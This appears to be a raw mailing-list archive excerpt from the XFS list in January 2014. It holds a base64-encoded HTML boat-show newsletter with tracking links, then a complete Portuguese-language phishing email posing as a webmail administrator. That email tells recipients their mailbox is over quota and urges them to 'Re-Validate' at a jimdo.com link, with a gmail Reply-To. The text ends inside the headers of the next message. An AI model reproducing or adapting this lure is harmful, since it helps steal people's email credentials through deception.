LWJvYXQuY29tL2FwaWNvdW50L3RyYWNrL2J1bGsvTVRRMy9lR1p6UUc5emN5NXpaMmt1WTI5dC9h SFIwY0hNNkx5OTNkM2N1ZFdKdGIyNXNhVzVsY21WbkxtTnZiUzlTWldkcGMzUnlZWFJwYjI0dmJX OWthV1o1TG1GemNIZ19abWxrUFRJMU1pWnNZVzVuUFdWdUpuTnZkWEpqWlQxNVoyVmtiUSIgdGFy Z2V0PSJfYmxhbmsiPlJlZ2lzdGVyIGZvciBGcmVlIFRpY2tldHM8L2E+PC90ZD4KCQkgICAgPHRk IHdpZHRoPSI4NiI+Jm5ic3A7PC90ZD4KCSAgICAgIDwvdHI+CgkgICAgPC90YWJsZT48L3RkPgoJ PC90cj4KCTx0cj4KCQk8dGQgY29sc3Bhbj0iNCIgd2lkdGg9IjM0MyIgaGVpZ2h0PSIyODUiPjx0 YWJsZSB3aWR0aD0iMzQxIiBoZWlnaHQ9IjM5IiBib3JkZXI9IjAiPgoJCSAgPHRyPgoJCSAgICA8 dGQgd2lkdGg9IjEwIj4mbmJzcDs8L3RkPgoJCSAgICA8dGQgd2lkdGg9IjMxMCI+PHRhYmxlIHdp ZHRoPSIzMDgiIGJvcmRlcj0iMCI+CgkJICAgICAgPHRyPgoJCSAgICAgICAgPHRkIHdpZHRoPSIy NjgiIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGZvbnQtc2l6ZTogMTRweDsgZm9udC13ZWln aHQ6IGJvbGQ7Ij5DaGFuZ2VzIGFuZCBkZXZlbG9wbWVudHMgb2YgQ0lCUzwvdGQ+CgkJICAgICAg ICA8dGQgd2lkdGg9IjMwIj48aW1nIHNyYz0iaHR0cDovL2FwcHMudWJtYXNpYS5jb20vZmlsZXMv bWVkaWFvYmplY3RzL0ZpbGVzLzMxL0NJQlMyMDE0L0phbi1lbi9hbmNob3IucG5nIiB3aWR0aD0i MjMiIGhlaWdodD0iMjMiPjwvdGQ+CgkgICAgICAgICAgPC90cj4KCSAgICAgICAgPC90YWJsZT48 L3RkPgoJCSAgICA8dGQgd2lkdGg9IjciPiZuYnNwOzwvdGQ+CgkgICAgICA8L3RyPgoJCSAgPHRy PgoJCSAgICA8dGQ+Jm5ic3A7PC90ZD4KCQkgICAgPHRkIHN0eWxlPSJmb250LWZhbWlseTogQXJp YWw7IGZvbnQtc2l6ZTogMTRweDsgbGluZS1oZWlnaHQ6MTUwJTsgY29sb3I6ICMwMDA7Ij48c3Bh biBzdHlsZT0iY29sb3I6ICNGMDAiPlNvIGZhciwgdXAgdG8gOTAgcGVyY2VudCBib290aHMgaGF2 ZSBiZWVuIHNvbGQgb3V0LCBhY2NvbXBsaXNoaW5nIDEwMCBwZXJjZW50IG9mIGxhc3QgeWVhcidz IHRhcmdldC4gT25seSBhIGZldyBib290aHMgcmVtYWluLiBJbW1lZGlhdGUgcmVzZXJ2YXRpb24g aXMgaGlnaGx5IHJlY29tbWVuZGVkLiBSZXNlcnZhdGlvbiBlbmRzIEZFQiAyOHRoLiA8L3NwYW4+ VGhlcmUgd2lsbCBiZSA1MyBuZXcgYm9hdCBtb2RlbCBsYXVuY2hlcyBpbiBDSUJTMjAxNC4gNSBO YXRpb25hbCBQYXZpbGxpb25zIChJdGFseSwgQXVzdHJhbGlhLCBVU0EsIFNwYWluLCBOZXcgWmVh bGFuZCkgYW5kIFRhaXdhbiBQYXZpbGlvbiB3aWxsIGNvbWUgdG8gdGhlIHNob3cuWGl1Z2xlLCBh IEIyQiB3ZWJzaXRlLCBoYXMgYXR0cmFjdGVkIG1vcmUgdGhhbiAyMDAgYnJhbmRzIHRvIHVzZSBv dXIgdmFsdWUtYWRkZWQgc2VydmljZSAuIEFjY29yZGluZyB0byB0aGUgbGFzdGVzdCBuZXdzLCBh bm90aGVyIGJpZyBicmFuZCBvZiBlcXVpcG1lbnRzLCBWb2x2byBpcyB3aWxsaW5nIHRvIGpvaW4g b3VyIHhpdWdsZS4gLi4uLjxhIGhyZWY9Imh0dHA6Ly90ai51Ym1zaW5vZXhwby1ib2F0LmNvbS9h cGljb3VudC90cmFjay9idWxrL01UUTMvZUdaelFHOXpjeTV6WjJrdVkyOXQvYUhSMGNEb3ZMM2Qz ZHk1aWIyRjBjMmh2ZDJOb2FXNWhMbU52YlM5UWIzSjBZV3h6THpndmJtVjNjeTlpWVc5MFgyVnVO REF1YUhSdGJBIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImZvbnQtd2VpZ2h0OiBib2xkOyBjb2xv cjogIzAwMDsiPnJlYWQgbW9yZTwvYT48L3RkPgoJCSAgICA8dGQ+Jm5ic3A7PC90ZD4KCSAgICAg IDwvdHI+CgkgICAgPC90YWJsZT48L3RkPgoJCTx0ZD4KCQkJPGltZyBzcmM9Imh0dHA6Ly9hcHBz LnVibWFzaWEuY29tL2ZpbGVzL21lZGlhb2JqZWN0cy9GaWxlcy8zMS9DSUJTMjAxNC9KYW4tZW4v Q0lCUzIwMTQxMjE2LUVOLS0tXzA4LmdpZiIgd2lkdGg9IjI5NyIgaGVpZ2h0PSIyODUiIGFsdD0i Ij48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQgY29sc3Bhbj0iNCIgd2lkdGg9IjM0MyIgaGVpZ2h0 PSIyMTYiPjx0YWJsZSB3aWR0aD0iMzM5IiBoZWlnaHQ9IjU0IiBib3JkZXI9IjAiPgoJCSAgPHRy PgoJCSAgICA8dGQgd2lkdGg9IjEwIj4mbmJzcDs8L3RkPgoJCSAgICA8dGQgd2lkdGg9IjMwOSI+ PHRhYmxlIHdpZHRoPSIzMTMiIGhlaWdodD0iMjMiIGJvcmRlcj0iMCI+CgkJICAgICAgPHRyPgoJ CSAgICAgICAgPHRkIHdpZHRoPSIyNjQiIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGZvbnQt c2l6ZTogMTRweDsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5UaGUgQXNpYW4gTWFyaW5lICYgQm9hdGlu ZyBBd2FyZHM8L3RkPgoJCSAgICAgICAgPHRkIHdpZHRoPSIzMCI+PGltZyBzcmM9Imh0dHA6Ly9h cHBzLnVibWFzaWEuY29tL2ZpbGVzL21lZGlhb2JqZWN0cy9GaWxlcy8zMS9DSUJTMjAxNC9KYW4t ZW4vYW5jaG9yLnBuZyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjIzIj48L3RkPgoJICAgICAgICAgIDwv dHI+CgkgICAgICAgIDwvdGFibGU+PC90ZD4KCQkgICAgPHRkIHdpZHRoPSI2Ij4mbmJzcDs8L3Rk PgoJICAgICAgPC90cj4KCQkgIDx0cj4KCQkgICAgPHRkPiZuYnNwOzwvdGQ+CgkJICAgIDx0ZCBz dHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7IGxpbmUtaGVpZ2h0OjE1 MCUiPk5vdyBBc2lhICcgcyBwcmVtaWVyIGxlaXN1cmUgbWFyaW5lIGF3YXJkcyBpcyBpbiB0aGVp ciA1dGggeWVhcix0aGUgQXNpYW4gTWFyaW5lICYgQm9hdGluZyBBd2FyZHMgaGFzIGVzdGFibGlz aGVkIGl0c2VsZiBpbiBpdCBzaG9ydCBoaXN0b3J5IGFzIGEgc2V0IG9mIGF3YXJkcyB3b3J0aCB3 aW5uaW5nLlRoZSB2b3RpbmcgcGFuZWwgaGFzIHByaW1hcmlseSBiZWVuIGNvbXByaXNlZCBvZiBw cm9mZXNzaW9uYWxzIGZyb20gdGhlIG1hcml0aW1lIG1lZGlhIGFjcm9zcyBBc2lhLi4uPGEgaHJl Zj0iaHR0cDovL3RqLnVibXNpbm9leHBvLWJvYXQuY29tL2FwaWNvdW50L3RyYWNrL2J1bGsvTVRR My9lR1p6UUc5emN5NXpaMmt1WTI5dC9hSFIwY0RvdkwzZDNkeTVpYjJGMGMyaHZkMk5vYVc1aExt TnZiUzlCVFVKQkwzUmhZbWxrTHpJNE1Ea3ZiR0Z1WjNWaFoyVXZaVzR0VlZNdlJHVm1ZWFZzZEM1 aGMzQjQiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiAj MDAwOyI+cmVhZCBtb3JlPC9hPjwvdGQ+CgkJICAgIDx0ZD4mbmJzcDs8L3RkPgoJICAgICAgPC90 cj4KCSAgICA8L3RhYmxlPjwvdGQ+CgkJPHRkPgoJCQk8aW1nIHNyYz0iaHR0cDovL2FwcHMudWJt YXNpYS5jb20vZmlsZXMvbWVkaWFvYmplY3RzL0ZpbGVzLzMxL0NJQlMyMDE0L0phbi1lbi9DSUJT MjAxNDEyMTYtRU4tLS1fMTAuZ2lmIiB3aWR0aD0iMjk3IiBoZWlnaHQ9IjIxNiIgYWx0PSIiPjwv dGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZCBjb2xzcGFuPSIyIj4KCQkgIDxpbWcgc3JjPSJodHRwOi8v YXBwcy51Ym1hc2lhLmNvbS9maWxlcy9tZWRpYW9iamVjdHMvRmlsZXMvMzEvQ0lCUzIwMTQvSmFu LWVuL0NJQlMyMDE0MTIxNi1FTi0tLV8xMS5naWYiIHdpZHRoPSIzMDgiIGhlaWdodD0iMjI5IiBh bHQ9IiI+PC90ZD4KCQk8dGQgY29sc3Bhbj0iMyIgd2lkdGg9IjMzMiIgaGVpZ2h0PSIyMjkiPjx0 YWJsZSB3aWR0aD0iMzI5IiBoZWlnaHQ9IjU5IiBib3JkZXI9IjAiPgoJCSAgPHRyPgoJCSAgICA8 dGQgd2lkdGg9IjEwIj4mbmJzcDs8L3RkPgoJCSAgICA8dGQgd2lkdGg9IjMwMiIgc3R5bGU9ImZv bnQtZmFtaWx5OiBBcmlhbDsgZm9udC1zaXplOiAxNHB4OyBmb250LXdlaWdodDogYm9sZDsiPk5l dyBNYXJpbmEgb24gdGhlIE5vcnRoIEJ1bmQsU2hhbmdoYWk8L3RkPgoJCSAgICA8dGQgd2lkdGg9 IjEwIj4mbmJzcDs8L3RkPgoJICAgICAgPC90cj4KCQkgIDx0cj4KCQkgICAgPHRkPiZuYnNwOzwv dGQ+CgkJICAgIDx0ZCBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7 IGxpbmUtaGVpZ2h0OjE1MCUiPlNpdHRpbmcgc3F1YXJlbHkgaW4gdGhlIG1pZGRsZSBvZiB0aGUg ZGV2ZWxvcG1lbnQgb2YgdGhlIE5vcnRoIEJ1bmQgYXJlYSBpcyBhIG5ldyBmbGFnc2hpcCBjb21t ZXJjaWFsIGRpc3RyaWN0IGFuZCBsaWtlIHRoZSBidWxsJ3MgZXllIG9uIGEgdGFyZ2V0IGluIHRo ZSBtaWRkbGUgb2YgdGhpcyBpcyBhIGJyYW5kIG5ldyBtYXJpbmEgYW5kIHRoZSBmaXJzdCBvbmUg dGhhdCB0aGlzIHdyaXRlciB3b3VsZCBjYWxsIGEgJ3Byb3BlciBtYXJpbmEnIGluIHRoZSBoZWFy dCBvZiBkb3dudG93biBTaGFuZ2hhaS4uLi48YSBocmVmPSJodHRwOi8vdGoudWJtc2lub2V4cG8t Ym9hdC5jb20vYXBpY291bnQvdHJhY2svYnVsay9NVFEzL2VHWnpRRzl6Y3k1eloya3VZMjl0L2FI UjBjRG92TDNkM2R5NWliMkYwYzJodmQyTm9hVzVoTG1OdmJTOVFiM0owWVd4ekx6Z3ZibVYzY3k5 aVlXOTBYMlZ1TkRJdWFIUnRiQSIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJmb250LXdlaWdodDog Ym9sZDsgY29sb3I6ICMwMDA7Ij5yZWFkIG1vcmU8L2E+PC90ZD4KCQkgICAgPHRkPiZuYnNwOzwv dGQ+CgkgICAgICA8L3RyPgoJICAgIDwvdGFibGU+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIGNv bHNwYW49IjUiPgoJCQk8aW1nIHNyYz0iaHR0cDovL2FwcHMudWJtYXNpYS5jb20vZmlsZXMvbWVk aWFvYmplY3RzL0ZpbGVzLzMxL0NJQlMyMDE0L0phbi1lbi9DSUJTMjAxNDEyMTYtRU4tLS1fMTMu Z2lmIiB3aWR0aD0iNjQwIiBoZWlnaHQ9IjM1IiBhbHQ9IiI+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJ PHRkPgoJCSAgPGltZyBzcmM9Imh0dHA6Ly9hcHBzLnVibWFzaWEuY29tL2ZpbGVzL21lZGlhb2Jq ZWN0cy9GaWxlcy8zMS9DSUJTMjAxNC9KYW4tZW4vQ0lCUzIwMTQxMjE2LUVOLS0tXzE0LmdpZiIg d2lkdGg9IjMwNCIgaGVpZ2h0PSIyNjIiIGFsdD0iIj48L3RkPgoJCTx0ZCBjb2xzcGFuPSI0IiB3 aWR0aD0iMzM2IiBoZWlnaHQ9IjI2MiI+PHRhYmxlIHdpZHRoPSIzMzIiIGhlaWdodD0iMjYzIiBi b3JkZXI9IjAiPgoJCSAgPHRyPgoJCSAgICA8dGQgd2lkdGg9IjUiIGhlaWdodD0iMjciPiZuYnNw OzwvdGQ+CgkJICAgIDx0ZCB3aWR0aD0iMzEwIj4mbmJzcDs8L3RkPgoJCSAgICA8dGQgd2lkdGg9 IjEwIj4mbmJzcDs8L3RkPgoJICAgICAgPC90cj4KCQkgIDx0cj4KCQkgICAgPHRkPiZuYnNwOzwv dGQ+CgkJICAgIDx0ZCBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7 IGZvbnQtd2VpZ2h0OiBib2xkOyBsaW5lLWhlaWdodDoxNTAlIj5Wb2x2byBPY2VhbiBSYWNlIDog PGJyPgoJICAgICAgICBUZWFtIERvbmdmZW5nICZtZGFzaDtUaGUgUHJvY2VzcyBDb250aW51ZXM8 L3RkPgoJCSAgICA8dGQ+Jm5ic3A7PC90ZD4KCSAgICAgIDwvdHI+CgkJICA8dHI+CgkJICAgIDx0 ZD4mbmJzcDs8L3RkPgoJCSAgICA8dGQgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgZm9udC1z aXplOiAxNHB4OyBsaW5lLWhlaWdodDoxNTAlIj5JdCBzdGFydGVkIHdpdGggMjUwIGFwcGxpY2Fu dHMsIGRvd24gdG8gMjAgdHJpYWxpc3RzIGFuZCBhZnRlciBhIHN1Y2Nlc3NmdWwsIGFuZCwgZm9y IHRoZSBwb3RlbnRpYWwgY3JldyBtZW1iZXJzIGV4aGF1c3RpbmcsIHR3byBkYXlzIG9mIHNlbGVj dGlvbiB0cmlhbHMgZG93biB0byA4IHBvdGVudGlhbCBzYWlsb3JzIHRvIGhlbHAgcmFjZSB0aGUg NjUgZm9vdCAoMTkuOG0pIHlhY2h0IGFyb3VuZCB0aGUgd29ybGQuLi4uPGEgaHJlZj0iaHR0cDov L3RqLnVibXNpbm9leHBvLWJvYXQuY29tL2FwaWNvdW50L3RyYWNrL2J1bGsvTVRRMy9lR1p6UUc5 emN5NXpaMmt1WTI5dC9hSFIwY0RvdkwzZDNkeTVpYjJGMGMyaHZkMk5vYVc1aExtTnZiUzlRYjNK MFlXeHpMemd2Ym1WM2N5OWlZVzkwWDJWdU5ERXVhSFJ0YkEiIHRhcmdldD0iX2JsYW5rIiBzdHls ZT0iZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiAjMDAwOyI+cmVhZCBtb3JlPC9hPjwvdGQ+CgkJ ICAgIDx0ZD4mbmJzcDs8L3RkPgoJICAgICAgPC90cj4KCSAgICA8L3RhYmxlPjwvdGQ+Cgk8L3Ry PgoJPHRyPgoJCTx0ZCBjb2xzcGFuPSI1IiB3aWR0aD0iNjQwIiBoZWlnaHQ9IjY5Ij48dGFibGUg d2lkdGg9IjYzNCIgaGVpZ2h0PSI2MSIgYm9yZGVyPSIwIj4KCQkgIDx0cj4KCQkgICAgPHRkIHdp ZHRoPSI0MjIiIGhlaWdodD0iMzUiPiZuYnNwOzwvdGQ+CgkJICAgIDx0ZCB3aWR0aD0iMjAwIj48 dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIj4KCQkgICAgICA8dHI+CgkJICAgICAgICA8dGQg aGVpZ2h0PSI0MCIgYmdjb2xvcj0iI0ZGNjYwMCIgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsg Zm9udC1zaXplOiAxNHB4OyBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyBj b2xvcjogI0ZGRjsiPjxhIGhyZWY9Imh0dHA6Ly90ai51Ym1zaW5vZXhwby1ib2F0LmNvbS9hcGlj b3VudC90cmFjay9idWxrL01UUTMvZUdaelFHOXpjeTV6WjJrdVkyOXQvYUhSMGNITTZMeTkzZDNj dWRXSnRiMjVzYVc1bGNtVm5MbU52YlM5U1pXZHBjM1J5WVhScGIyNHZiVzlrYVdaNUxtRnpjSGdf Wm1sa1BUSTFNaVpzWVc1blBXVnVKbk52ZFhKalpUMTVaMlZrYlEiIHRhcmdldD0iX2JsYW5rIj5S ZWdpc3RlciBmb3IgRnJlZSBUaWNrZXRzPC9hPjwvdGQ+CgkgICAgICAgICAgPC90cj4KCSAgICAg ICAgPC90YWJsZT48L3RkPgoJICAgICAgPC90cj4KCSAgICA8L3RhYmxlPjwvdGQ+Cgk8L3RyPgoJ PHRyPgoJCTx0ZCBjb2xzcGFuPSI1Ij4KCQkJPGltZyBzcmM9Imh0dHA6Ly9hcHBzLnVibWFzaWEu Y29tL2ZpbGVzL21lZGlhb2JqZWN0cy9GaWxlcy8zMS9DSUJTMjAxNC9EZWMtZW4vQ0lCUzIwMTQx MjIwLUVOXzE3KDEpLmdpZiIgYWx0PSIiIHdpZHRoPSI2NDAiIGhlaWdodD0iMTM2IiBib3JkZXI9 IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIGNvbHNwYW49IjUiPiZu YnNwOzwvdGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZD4KCQkJPGltZyBzcmM9ImltYWdlcy8mI3g1MjA2 OyYjeDk2OTQ7JiN4N2IyNjsuZ2lmIiB3aWR0aD0iMzA0IiBoZWlnaHQ9IjEiIGFsdD0iIj48L3Rk PgoJCTx0ZD4KCQkJPGltZyBzcmM9ImltYWdlcy8mI3g1MjA2OyYjeDk2OTQ7JiN4N2IyNjsuZ2lm IiB3aWR0aD0iNCIgaGVpZ2h0PSIxIiBhbHQ9IiI+PC90ZD4KCQk8dGQ+CgkJCTxpbWcgc3JjPSJp bWFnZXMvJiN4NTIwNjsmI3g5Njk0OyYjeDdiMjY7LmdpZiIgd2lkdGg9IjMiIGhlaWdodD0iMSIg YWx0PSIiPjwvdGQ+CgkJPHRkPgoJCQk8aW1nIHNyYz0iaW1hZ2VzLyYjeDUyMDY7JiN4OTY5NDsm I3g3YjI2Oy5naWYiIHdpZHRoPSIzMiIgaGVpZ2h0PSIxIiBhbHQ9IiI+PC90ZD4KCQk8dGQ+CgkJ CTxpbWcgc3JjPSJpbWFnZXMvJiN4NTIwNjsmI3g5Njk0OyYjeDdiMjY7LmdpZiIgd2lkdGg9IjI5 NyIgaGVpZ2h0PSIxIiBhbHQ9IiI+PC90ZD4KCTwvdHI+CjwvdGFibGU+CjwhLS0gRW5kIFNhdmUg Zm9yIFdlYiBTbGljZXMgLS0+Cgo8bWFwIG5hbWU9Ik1hcCI+CiAgPGFyZWEgc2hhcGU9InJlY3Qi IGNvb3Jkcz0iMjIsNDUsNTcsNzgiIGhyZWY9Imh0dHA6Ly90d2l0dGVyLmNvbS9Cb2F0U2hvd0No aW5hIiB0YXJnZXQ9Il9ibGFuayI+CiAgPGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iNjMsNDQs MTA1LDc5IiBocmVmPSJodHRwOi8vd3d3LmZhY2Vib29rLmNvbS9wYWdlcy9DSUJTLUNoaW5hLVNo YW5naGFpLUludGVybmF0aW9uYWwtQm9hdC1TaG93LzE3MDUyMTkzNjMwNDQ0MT92PXdhbGwiIHRh cmdldD0iX2JsYW5rIj4KICA8YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIyMyw4OCwxMTMsMTE2 IiBocmVmPSJodHRwOi8vd3d3LnVibXNpbm9leHBvLmNvbS9Ib21lL3RhYmlkLzE1OC9sYW5ndWFn ZS9lbi1VUy9EZWZhdWx0LmFzcHgiIHRhcmdldD0iX2JsYW5rIj4KICA8YXJlYSBzaGFwZT0icmVj dCIgY29vcmRzPSIzNjksOTYsNDkzLDExMCIgaHJlZj0iaHR0cDovL3d3dy5ib2F0c2hvd2NoaW5h LmNvbS9Ib21lL3RhYmlkLzI0Ni9sYW5ndWFnZS9lbi1VUy9EZWZhdWx0LmFzcHgiIHRhcmdldD0i X2JsYW5rIj4KICA8YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNzAsMTE1LDUwOCwxMjgiIGhy ZWY9Im1haWx0bzprZWxseS5zaGlAdWJtc2lub2V4cG8uY29tIiB0YXJnZXQ9Il9ibGFuayI+Cjwv bWFwPgoKPG1hcCBuYW1lPSJNYXAyIj4KICA8YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzMzcs Myw0MjIsMjgiIGhyZWY9Imh0dHA6Ly93d3cuZXhwb2xpZmVzdHlsZS5jb20vSG9tZS90YWJpZC8z NTYwL2xhbmd1YWdlL2VuLVVTL0RlZmF1bHQuYXNweCIgdGFyZ2V0PSJfYmxhbmsiPgogIDxhcmVh IHNoYXBlPSJyZWN0IiBjb29yZHM9IjQ0Miw4LDUzMywyOSIgaHJlZj0iaHR0cDovL3d3dy5leHBv bGVpc3VyZS5jb20vSG9tZS90YWJpZC81MzkyL2xhbmd1YWdlL2VuLVVTL0RlZmF1bHQuYXNweCIg dGFyZ2V0PSJfYmxhbmsiPgogIDxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjUsMjgsNjM3LDEw OSIgaHJlZj0iaHR0cDovL3d3dy5ib2F0c2hvd2NoaW5hLmNvbS9EZWZhdWx0LmFzcHg/VGFiSWQ9 MjQ2Jmxhbmd1YWdlPWVuLVVTIiB0YXJnZXQ9Il9ibGFuayI+CjwvbWFwPgo8L2JvZHk+CjwvaHRt bD48YnIgLz48aW1nIHNyYz0naHR0cDovL3RqLnVibXNpbm9leHBvLWJvYXQuY29tL2FwaWNvdW50 L2J1bGsvTVRRMy9lR1p6UUc5emN5NXpaMmt1WTI5dCcgd2lkdGg9MSBoZWlnaHQ9MSAvPg== From florence.mercier@culture.gouv.fr Mon Jan 27 21:57:26 2014 Return-Path: <florence.mercier@culture.gouv.fr> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1D64E7F72 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 21:57:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D83428F8039 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 19:57:25 -0800 (PST) X-ASG-Debug-ID: 1390881438-04bdf030eb18c360001-NocioJ Received: from lares2.culture.fr (lares.culture.fr [143.126.211.20]) by cuda.sgi.com with ESMTP id D2OwInRlb7w464se (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 19:57:19 -0800 (PST) X-Barracuda-Envelope-From: florence.mercier@culture.gouv.fr X-Barracuda-Apparent-Source-IP: 143.126.211.20 Received: from pasteur02.culture.fr (pasteur02.culture.fr [143.126.201.53]) by lares2.culture.fr with ESMTP id s0S3uYFZ012566-s0S3uYFa012566; Tue, 28 Jan 2014 04:56:34 +0100 Received: from pps.filterd (pasteur02 [127.0.0.1]) by pasteur02.culture.fr (8.14.5/8.14.5) with SMTP id s0S3VsMQ015962; Tue, 28 Jan 2014 04:56:35 +0100 Received: from clyde.culture.fr (clyde.culture.fr [143.126.201.119]) by pasteur02.culture.fr with ESMTP id 1hjxvhygwj-1; Tue, 28 Jan 2014 04:56:34 +0100 Received: from messagerie.int.culture.fr (heckel.culture.fr [143.126.201.38]) by clyde.culture.fr (Postfix) with ESMTP id 29DE838002; Tue, 28 Jan 2014 04:58:43 +0100 (CET) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_fe7bc9effb7fd6af60b8afc0bad202db" Date: Tue, 28 Jan 2014 04:56:34 +0100 From: =?UTF-8?Q?EMAIL_ADMINISTRA=E2=80=8BTOR?= <florence.mercier@culture.gouv.fr> To: undisclosed-recipients:; Subject: =?UTF-8?Q?ATUALIZA=C3=87=C3=83O_DE_E-MAIL_MUITO_IMPORTANTE_WARIN?= =?UTF-8?Q?G?= Organization: florence.mercier@culture.gouv.fr X-ASG-Orig-Subj: =?UTF-8?Q?ATUALIZA=C3=87=C3=83O_DE_E-MAIL_MUITO_IMPORTANTE_WARIN?= =?UTF-8?Q?G?= Reply-To: john.reilly090@gmail.com Mail-Reply-To: john.reilly090@gmail.com Message-ID: <a69001ecf9346fc7d63bb3d82d94d155@culture.gouv.fr> X-Sender: florence.mercier@culture.gouv.fr User-Agent: Roundcube Webmail/0.9.5 X-Virus-Version: vendor=nai engine=5600 definitions=7331 signatures=668905 X-Barracuda-Connect: lares.culture.fr[143.126.211.20] X-Barracuda-Start-Time: 1390881439 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA620a Custom Rule SA620a --=_fe7bc9effb7fd6af60b8afc0bad202db Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="utf-8" -- E-Mail Prezado usuário, esta é alertá-lo para Re-Validate a sua caixa de correio, ele ultrapassou o seu limite de armazenamento, como definido pelo seu administrador, e você não será capaz de receber novas mensagens até que você Re-Validate. Clique aqui para Re-Validate: http://correosp.jimdo.com/ [1] Administrador Webmail e-mail Sistema Help Desk Links: ------ [1] http://correosp.jimdo.com/ ---------------------------------------------------------------------- Merci de nous aider à préserver l'environnement en n'imprimant ce courriel et les documents joints que si nécessaire. --=_fe7bc9effb7fd6af60b8afc0bad202db Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset="UTF-8" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"> <html><body style=3D'font-family: Verdana,Geneva,sans-serif'> <p>&nbsp;</p> <p>&nbsp;</p> <div>-- <br /> <p>E-Mail Prezado usu&aacute;rio,<br /><br />esta &eacute; alert&aacute;-lo= para Re-Validate a sua caixa de correio, ele ultrapassou o seu<br />limite= de armazenamento, como definido pelo seu administrador, e voc&ecirc; n&ati= lde;o ser&aacute; capaz de receber novas<br />mensagens at&eacute; que voc&= ecirc; Re-Validate.<br /><br />Clique aqui para Re-Validate: <a title=3D"CL= ICK HERE" href=3D"http://correosp.jimdo.com/">http://correosp.jimdo.com/</a= ><br /><br />Administrador Webmail<br />e-mail Sistema Help Desk</p> </div> <HR>Merci de nous aider &agrave; pr&eacute;server l&#39;environnement en n&= #39;imprimant ce courriel et les documents joints que si n&eacute;cessaire.= <BR> </body></html> --=_fe7bc9effb7fd6af60b8afc0bad202db-- From david@fromorbit.com Mon Jan 27 22:20:36 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 969317F72 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 22:20:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6E3B6304032 for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 20:20:33 -0800 (PST) X-ASG-Debug-ID: 1390882828-04cbb05ba91807c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id se2BGpcyGVRTSNoY for <xfs@oss.sgi.com>; Mon, 27 Jan 2014 20:20:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkKAPgu51J5LGaB/2dsb2JhbABagwyDObRlhVCBHBd0giUBAQEDATocIwULCAMOCAEBCSUPBSUDEw4Th30HyWYXFo5pB4Q4BJgmkh+DQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with 